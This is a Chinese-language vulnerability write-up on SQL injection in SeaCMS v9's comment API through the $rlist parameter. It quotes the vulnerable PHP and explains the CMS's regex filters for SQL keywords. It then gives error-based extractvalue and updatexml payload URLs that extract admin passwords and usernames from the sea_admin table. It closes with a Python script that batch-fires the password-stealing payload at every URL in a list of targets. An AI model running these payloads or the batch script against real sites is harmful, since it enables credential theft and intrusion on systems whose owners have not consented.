一、海洋CMS简介
海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门搭建看片网站的cms)
二、漏洞分析
漏洞文件:./comment/api/index.php
,漏洞参数:$rlist
漏洞产生处code如下
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
$rlist还未被初始化就先进入到了ReadData函数,但实际上 $rlist 可控,最终Readrlist函数造成注入
代码审计
\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)
:
这个部分检测 SQL 注入攻击中的
concat()
函数,用来防止注入字符串拼接。
\\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)
:
防止 SQL 注入中的
case when
语句被利用,通常用于条件注入或绕过 SQL 过滤。
load_file\s*?\\()
:
防止 SQL 注入中使用
load_file()
函数,这是某些数据库(如 MySQL)中用于读取文件内容的函数。
\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\()
:
这个部分主要是为了检测 SQL 注入中常用的
and
和or
逻辑运算符,防止布尔型注入攻击。它允许匹配各种 SQL 语句中的等号(=
)、括号、引号、数字等。
\\blike\\b\\s+?[\"']
:
这个部分用来检测 SQL 中的
LIKE
子句,防止利用LIKE
进行注入攻击。
\\/\\*.*\\*\\/
:
检测 SQL 注入中常用的注释符号
/* ... */
,用于绕过 SQL 语句的过滤。
\\bEXEC\\b
:
检测 SQL 注入中
EXEC
关键字的使用,这通常用来执行存储过程。
UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(
|'|").?(`|'|")\s)`:
防止
UNION SELECT
注入,通常用于合并多个查询的结果。
UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(
|'|").?(`|'|")\s)SET`:
防止 SQL 注入中的
UPDATE
语句注入。
INSERT\\s+INTO.+?VALUES
:
防止通过
INSERT INTO ... VALUES
注入数据。
(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(
|'|").*?(|'|\"))FROM
:
防止通过
SELECT
、DELETE
等 SQL 语句注入查询或删除操作。
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)
:
防止
CREATE
、ALTER
、DROP
等 SQL 语句被用来修改数据库结构。
三、尝试注入
1,有报错
http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),`%27`
2,无回显(原因是返回值为空)
http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
3,不正确的错误
http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,extractvalue(1,concat_ws(0x20,%200x5c,%20(select%20(password)from%20sea_admin))),`%27`
4,注释符报错
http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=/*@`%27`*/,extractvalue(1,concat_ws(0x20,%200x5c,%20(select%20(password)from%20sea_admin))),`%27`
四、找出问题(参考资料)
原来是sea_comment内为空,造成返回值为空,导致无回显
解决方案:插入两条数据
mysql> desc sea_comment;--查看表结构;
+----------+-----------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-----------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| uid | mediumint(8) unsigned | NO | | 0 | |
| v_id | mediumint(8) unsigned | NO | MUL | 0 | |
| typeid | smallint(5) unsigned | NO | | 0 | |
| username | char(20) | NO | | | |
| ip | char(15) | NO | | | |
| ischeck | smallint(6) | NO | | 0 | |
| dtime | int(10) unsigned | NO | | 0 | |
| msg | text | YES | | NULL | |
| m_type | int(6) unsigned | NO | | 0 | |
| reply | int(6) unsigned | NO | | 0 | |
| agree | int(6) unsigned | NO | | 0 | |
| anti | int(6) unsigned | NO | | 0 | |
| pic | char(255) | NO | | | |
| vote | int(6) unsigned | NO | | 0 | |
+----------+-----------------------+------+-----+---------+----------------+
15 rows in set (0.00 sec)
mysql> INSERT INTO sea_comment (uid, v_id, typeid, username, ip, ischeck, dtime, msg, m_type, reply, agree, anti, pic, vote)
-> VALUES
-> (1, 100, 1, 'user1', '192.168.1.1', 1, UNIX_TIMESTAMP(), 'This is a comment', 1, 0, 0, 0, 'image1.jpg', 10),
-> (2, 101, 2, 'user2', '192.168.1.2', 1, UNIX_TIMESTAMP(), 'This is another comment', 2, 0, 0, 0, 'image2.jpg', 5);--插入数据
Query OK, 2 rows affected (0.00 sec)
Records: 2 Duplicates: 0 Warnings: 0
成功注入
注入payload
extractvalue注入
http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`%20
http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`%20
updatexml注入
http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`'`, updatexml (1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`
五、实战脚本(url.txt内容为你要批量测试的url)
import requests
print(" Seacms v9 SQL Injection-Author:J0o1ey QQ:547006660")
urls = open(r"url.txt", "r")
payload = '/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`'
for url in urls:
testurl = url.strip() + payload
html = requests.get(testurl).text
if "seacms" in html:
print("[+]Exploit URL:" + testurl)